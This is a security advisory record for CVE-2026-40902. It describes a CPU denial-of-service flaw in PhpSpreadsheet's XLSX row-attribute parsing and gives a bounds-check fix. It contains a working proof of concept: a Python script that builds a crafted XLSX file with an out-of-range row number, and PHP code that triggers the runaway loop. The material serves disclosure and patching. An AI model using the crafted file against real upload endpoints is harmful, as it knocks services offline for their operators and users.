{"id":"GHSA-7c6m-4442-2x6m","aliases":["CVE-2026-40902"],"title":"PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions","description":"## Summary\n\nThe XLSX reader's `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `<row r=\"999999999\"/>` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking:\n\n```php\n// ColumnAndRowAttributes.php:216\n$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW\n```\n\nThis value flows through `setRowAttributes()` (line 126) → `$this->worksheet->getRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`:\n\n```php\n// Worksheet.php:1342-1349\npublic function getRowDimension(int $row): RowDimension\n{\n    if (!isset($this->rowDimensions[$row])) {\n        $this->rowDimensions[$row] = new RowDimension($row);\n        $this->cachedHighestRow = max($this->cachedHighestRow, $row);\n    }\n    return $this->rowDimensions[$row];\n}\n```\n\nThe inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86):\n\n```php\n// RowIterator.php:86\n$this->endRow = $endRow ?: $this->subject->getHighestRow();\n```\n\nNotably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks.\n\n## PoC\n\n**Step 1: Create the malicious XLSX file (~1.6KB)**\n\n```python\nimport zipfile\nimport io\n\ncontent_types = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"><Default Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/><Default Extension=\"xml\" ContentType=\"application/xml\"/><Override PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/><Override PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/></Types>'\n\nrels = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/></Relationships>'\n\nworkbook = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><workbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"><sheets><sheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/></sheets></workbook>'\n\nwb_rels = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/></Relationships>'\n\nsheet = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><worksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"><sheetData><row r=\"1\"><c r=\"A1\"><v>1</v></c></row><row r=\"999999999\" ht=\"15\"/></sheetData></worksheet>'\n\nwith zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr('[Content_Types].xml', content_types)\n    zf.writestr('_rels/.rels', rels)\n    zf.writestr('xl/workbook.xml', workbook)\n    zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)\n    zf.writestr('xl/worksheets/sheet1.xml', sheet)\n\nprint(\"Created dos_row.xlsx\")\n```\n\n**Step 2: Load with PhpSpreadsheet (CPU exhaustion)**\n\n```php\n<?php\nrequire 'vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader('Xlsx');\n$spreadsheet = $reader->load('dos_row.xlsx');\n$sheet = $spreadsheet->getActiveSheet();\n\necho \"Highest row: \" . $sheet->getHighestRow() . \"\\n\";\n// Output: Highest row: 999999999\n\n// This will consume CPU for ~144 seconds (999M iterations)\nforeach ($sheet->getRowIterator() as $row) {\n    // CPU exhaustion\n}\n```\n\n**Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely.\n\n## Impact\n\n- **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file.\n- **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.\n- **Amplification:** The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.\n- **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.\n\n## Recommended Fix\n\nAdd row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161:\n\n```php\n// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216\n// Before:\n$rowIndex = (int) $row['r'];\n\n// After:\n$rowIndex = (int) $row['r'];\nif ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {\n    continue;\n}\n```\n\nThe `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161.","severity":"high","score":7.5,"published":"2026-04-29T20:24:13.000Z","modified":"2026-05-13T16:57:43.636Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","ranges":[{"events":[{"introduced":"4.0.0"},{"fixed":"5.7.0"}],"type":"ECOSYSTEM"}],"versions":["4.0.0","4.1.0","4.2.0","4.3.0","4.3.1","4.4.0","4.5.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.5.0","5.6.0"],"fixed":["5.7.0"]},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","ranges":[{"events":[{"introduced":"3.3.0"},{"fixed":"3.10.5"}],"type":"ECOSYSTEM"}],"versions":["3.10.0","3.10.1","3.10.2","3.10.3","3.10.4","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0","3.9.0","3.9.1","3.9.2","3.9.3"],"fixed":["3.10.5"]},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","ranges":[{"events":[{"introduced":"2.2.0"},{"fixed":"2.4.5"}],"type":"ECOSYSTEM"}],"versions":["2.2.0","2.2.1","2.2.2","2.3.0","2.3.10","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4"],"fixed":["2.4.5"]},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","ranges":[{"events":[{"introduced":"2.0.0"},{"fixed":"2.1.16"}],"type":"ECOSYSTEM"}],"versions":["2.0.0","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9"],"fixed":["2.1.16"]},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","ranges":[{"events":[{"introduced":"0"},{"fixed":"1.30.4"}],"type":"ECOSYSTEM"}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.29.1","1.29.10","1.29.11","1.29.12","1.29.2","1.29.4","1.29.5","1.29.6","1.29.7","1.29.8","1.29.9","1.3.0","1.3.1","1.30.0","1.30.1","1.30.2","1.30.3","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0"],"fixed":["1.30.4"]}],"references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m","https://nvd.nist.gov/vuln/detail/CVE-2026-40902","https://github.com/PHPOffice/PhpSpreadsheet"],"sources":[{"name":"OSV","id":"GHSA-7c6m-4442-2x6m","modified":"2026-05-13T16:57:43.636999Z","url":"https://osv.dev/vulnerability/GHSA-7c6m-4442-2x6m"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5}]}